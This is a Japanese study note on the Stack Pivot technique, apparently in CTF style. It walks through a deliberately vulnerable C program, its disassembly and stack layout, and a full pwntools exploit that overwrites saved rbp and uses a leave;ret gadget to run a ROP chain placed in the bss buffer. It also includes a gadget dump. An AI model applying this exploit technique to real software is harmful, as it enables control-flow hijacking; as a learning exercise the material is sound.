Stack Pivotについて

攻撃者が新たに用意した領域や、攻撃者が自由にデータを書き込める領域、既存の別領域をスタックとして利用するStack Pivotの勉強。

ターゲットプログラムと概要

#include <stdio.h>

char msg[0x100];

void main(void){
    char name[0x10];
    
    puts("Hello!");

    printf("Input Name >> ");
    fgets(name, 0x20, stdin);

    printf("Input Message >> ");
    fgets(msg, sizeof(msg), stdin);
}

void win(unsigned key1, unsigned key2){
    puts("This is win\n");
    if(key1 == 0xcafebabe && key2 == 0xc0bebeef)
        puts("Correct!");
    else
        puts("Wrong...");
}

gcc vuln.c -fno-stack-protector -no-pie -g -o vuln

name入力のとこにbof脆弱性があるので、これを利用してwin関数に飛ばし"Correct!"を表示させたい。

しかし、nameに入力できるのが0x20分のサイズしかないので、せいぜいリターンアドレスしか上書きできない。0xcafebabe等の変数を書き込めるスペースがない。

そこでStack Pivotを利用する。

スタックの様子

main関数をディスアセンブルすると

0x0000000000401176 <+0>:   endbr64 
0x000000000040117a <+4>:  push   rbp
0x000000000040117b <+5>:  mov    rbp,rsp
0x000000000040117e <+8>:  sub    rsp,0x10
0x0000000000401182 <+12>: lea    rdi,[rip+0xe7b]
0x0000000000401189 <+19>: call   0x401060 <puts@plt>
0x000000000040118e <+24>: lea    rdi,[rip+0xe76]
0x0000000000401195 <+31>: mov    eax,0x0
0x000000000040119a <+36>: call   0x401070 <printf@plt>
0x000000000040119f <+41>: mov    rdx,QWORD PTR [rip+0x2e9a]
0x00000000004011a6 <+48>: lea    rax,[rbp-0x10]
0x00000000004011aa <+52>: mov    esi,0x20
0x00000000004011af <+57>: mov    rdi,rax
0x00000000004011b2 <+60>: call   0x401080 <fgets@plt>
0x00000000004011b7 <+65>: lea    rdi,[rip+0xe5c]
0x00000000004011be <+72>: mov    eax,0x0
0x00000000004011c3 <+77>: call   0x401070 <printf@plt>
0x00000000004011c8 <+82>: mov    rax,QWORD PTR [rip+0x2e71]
0x00000000004011cf <+89>: mov    rdx,rax
0x00000000004011d2 <+92>: mov    esi,0x100
0x00000000004011d7 <+97>: lea    rdi,[rip+0x2e82]        # 0x404060 <msg>
0x00000000004011de <+104>:    call   0x401080 <fgets@plt>
0x00000000004011e3 <+109>:    nop
0x00000000004011e4 <+110>:    leave  
0x00000000004011e5 <+111>:    ret

よってスタックは次のようになっている:

      +-----------+
-0x10 |           |
      |   name    |
      |           |
      +-----------+
      | saved rbp |
      +-----------+
+0x08 |  retaddr  |
      +-----------+

戦略

msgは初期化されてない変数だから、msgbssセクションに確保される。

そこで、msgにROPチェーンを書き込んで、そしてbssセクション(msgすなわちROPチェーンがある場所)にスタックを移せばROP攻撃ができる。

どうやってスタックを別の領域に移すか?

単純に考えて、リターンアドレスをガジェットpop rsp; ret;に書き換えて、その下に行きたい領域のアドレスを書けばよい:

+-------------------------------+
|                               |
|         pop rsp; ret;         |
+-------------------------------+
|                               |
|     destination address       |
+-------------------------------+

しかし今回はサイズの問題で、リターンアドレス以降に行き先アドレスを書けない。

そこで、saved rbpに着目する。

saved rbpに行きたい領域のアドレスを格納する。そしてリターンアドレスをガジェットleave; ret;に書き換える。

そうすればスタックフレームはsaved rbpに上書きしたアドレスに移る。

leave命令は

mov rsp, rbp;
pop rbp;

このように、saved rbpをpopしてしまうので、saved rbpには”行きたい領域のアドレス - 8”を指定しておく。

exploit

#!/usr/bin/env python3
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './vuln'
binf = ELF(bin_file, checksec = False)
context.binary = binf
context.log_level = 'debug'

def attack(conn):

    rop = ROP(binf)

    payload = b'A' * 0x10
    payload += p64(binf.symbols['msg'] - 8)
    payload += p64(rop.find_gadget(['leave', 'ret']).address)

    conn.sendlineafter('Input Name >> ', payload)

    rop.raw(rop.rdi)
    rop.raw(0xcafebabe)
    rop.raw(rop.rsi)
    rop.raw(0xc0bebeef)
    rop.raw(0xdeadbeef)
    rop.raw(binf.symbols['win'])

    conn.sendlineafter('Input Message >> ', rop.chain())

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

namebofでsaved rbpに「行きたい領域-8」今回は「msgのアドレス-8」を設定するのと、 リターンアドレスにガジェットleave;ret;のアドレスを設定するようなペイロードを送る。

payload = 'A' * 0x10
payload = binf.symbols['msg'] - 8
payload = rop.find_gadget(['leave', 'ret']).address

msgにはROPチェーンを書き込む。

win関数で"Correct!"を表示させるように組む

rop.raw(rop.rdi)
rop.raw(0xcafebabe)
rop.raw(rop.rsi)
rop.raw(0xc0bebeef)
rop.raw(0xdeadbeef)
rop.raw(binf.symbols['win'])

今回はrop.rsiが

Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18)

だから、r15にpopする値を適当に用意する(ここでは0xdeadbeef)。

ちなみにガジェットは以下の通り:

{4198423: Gadget(0x401017, ['add esp, 8', 'ret'], [], 0x10),
 4198422: Gadget(0x401016, ['add rsp, 8', 'ret'], [], 0x10),
 4198884: Gadget(0x4011e4, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407),
 4199068: Gadget(0x40129c, ['pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['r12', 'r13', 'r14', 'r15'], 0x28),
 4199070: Gadget(0x40129e, ['pop r13', 'pop r14', 'pop r15', 'ret'], ['r13', 'r14', 'r15'], 0x20),
 4199072: Gadget(0x4012a0, ['pop r14', 'pop r15', 'ret'], ['r14', 'r15'], 0x18),
 4199074: Gadget(0x4012a2, ['pop r15', 'ret'], ['r15'], 0x10),
 4199067: Gadget(0x40129b, ['pop rbp', 'pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['rbp', 'r12', 'r13', 'r14', 'r15'], 0x30),
 4199071: Gadget(0x40129f, ['pop rbp', 'pop r14', 'pop r15', 'ret'], ['rbp', 'r14', 'r15'], 0x20),
 4198749: Gadget(0x40115d, ['pop rbp', 'ret'], ['rbp'], 0x10),
 4199075: Gadget(0x4012a3, ['pop rdi', 'ret'], ['rdi'], 0x10),
 4199073: Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18),
 4199069: Gadget(0x40129d, ['pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret'], ['rsp', 'r13', 'r14', 'r15'], 0x28),
 4198426: Gadget(0x40101a, ['ret'], [], 0x8)}